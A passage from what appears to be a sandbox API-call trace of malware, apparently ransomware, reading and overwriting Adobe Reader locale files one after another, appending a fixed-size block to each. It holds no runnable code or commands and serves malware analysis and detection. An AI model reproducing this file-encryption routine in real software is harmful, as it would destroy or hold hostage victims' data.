lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2800 [0034.526] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.526] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2800 [0034.526] WriteFile (in: hFile=0x12c, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.526] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0034.526] WriteFile (in: hFile=0x12c, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.527] CloseHandle (hObject=0x12c) returned 1 [0034.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\PPKLite.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ppklite.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.535] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.535] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x85c00 [0034.535] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.535] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.535] ReleaseMutex (hMutex=0x128) returned 1 [0034.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.CAT", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.CAT", lpUsedDefaultChar=0x0) returned 11 [0034.535] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0034.542] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.551] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x84c00 [0034.551] ReadFile (in: hFile=0x12c, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.559] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x84c00 [0034.560] WriteFile (in: hFile=0x12c, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.561] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0034.561] WriteFile (in: hFile=0x12c, lpBuffer=0x27f1bf8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f1bf8*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0034.561] WriteFile (in: hFile=0x12c, lpBuffer=0x27f1bf8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f1bf8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.561] CloseHandle (hObject=0x12c) returned 1 [0034.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.575] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.575] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2a00 [0034.575] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.575] ReleaseMutex (hMutex=0x128) returned 1 [0034.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CAT", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CAT", lpUsedDefaultChar=0x0) returned 11 [0034.575] ReadFile (in: hFile=0x12c, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.580] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0034.580] ReadFile (in: hFile=0x12c, lpBuffer=0x276f388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276f388*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.585] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0034.586] WriteFile (in: hFile=0x12c, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.586] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0034.586] WriteFile (in: hFile=0x12c, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.586] CloseHandle (hObject=0x12c) returned 1 [0034.587] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ebook.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.588] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.588] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a00 [0034.588] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.588] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.588] ReleaseMutex (hMutex=0x128) returned 1 [0034.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0034.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CZE", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CZE", lpUsedDefaultChar=0x0) returned 9 [0034.588] ReadFile (in: hFile=0x12c, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0034.597] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0034.597] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0034.597] CloseHandle (hObject=0x12c) returned 1 [0034.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SaveAsRTF.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\saveasrtf.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.599] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.600] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4600 [0034.600] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.600] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.600] ReleaseMutex (hMutex=0x128) returned 1 [0034.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.600] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CZE", lpUsedDefaultChar=0x0) returned 13 [0034.600] ReadFile (in: hFile=0x12c, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.606] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3600 [0034.606] ReadFile (in: hFile=0x12c, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.606] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3600 [0034.606] WriteFile (in: hFile=0x12c, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.606] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0034.606] WriteFile (in: hFile=0x12c, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.607] CloseHandle (hObject=0x12c) returned 1 [0034.607] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\adobecollabsync.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.609] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.609] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a00 [0034.609] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.609] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.609] ReleaseMutex (hMutex=0x128) returned 1 [0034.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0034.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.DAN", cchWideChar=19, lpMultiByteStr=0x1e78bcc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.DAN", lpUsedDefaultChar=0x0) returned 19 [0034.609] ReadFile (in: hFile=0x12c, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0034.611] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0034.611] WriteFile (in: hFile=0x12c, lpBuffer=0x2722d08*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2722d08*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0034.611] CloseHandle (hObject=0x12c) returned 1 [0034.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\multimedia.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0034.612] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.612] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x13400 [0034.612] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0034.612] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.612] ReleaseMutex (hMutex=0x128) returned 1 [0034.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0034.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.DAN", cchWideChar=14, lpMultiByteStr=0x1e6316c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.DAN", lpUsedDefaultChar=0x0) returned 14 [0034.612] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.614] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x12400 [0034.614] ReadFile (in: hFile=0x12c, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.616] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x12400 [0034.616] WriteFile (in: hFile=0x12c, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.616] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0034.616] WriteFile (in: hFile=0x12c, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.616] CloseHandle (hObject=0x12c) returned 1 [0035.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0035.087] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.088] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe1 [0035.088] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.088] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.088] ReleaseMutex (hMutex=0x128) returned 1 [0035.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0035.088] ReadFile (in: hFile=0x12c, lpBuffer=0x1dd2448, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd2448*, lpNumberOfBytesRead=0x2b0f2bc*=0xe1, lpOverlapped=0x0) returned 1 [0035.089] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0035.089] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x669, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x669, lpOverlapped=0x0) returned 1 [0035.089] CloseHandle (hObject=0x12c) returned 1 [0035.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\DigSig.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\digsig.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0035.443] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.443] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x21e00 [0035.443] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0035.443] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.443] ReleaseMutex (hMutex=0x128) returned 1 [0035.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DEU", cchWideChar=10, lpMultiByteStr=0x1e631ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DEU", lpUsedDefaultChar=0x0) returned 10 [0035.444] ReadFile (in: hFile=0x1a0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0035.451] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x20e00 [0035.451] ReadFile (in: hFile=0x1a0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.453] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x20e00 [0035.454] WriteFile (in: hFile=0x1a0, lpBuffer=0x2772358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.454] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0035.455] WriteFile (in: hFile=0x1a0, 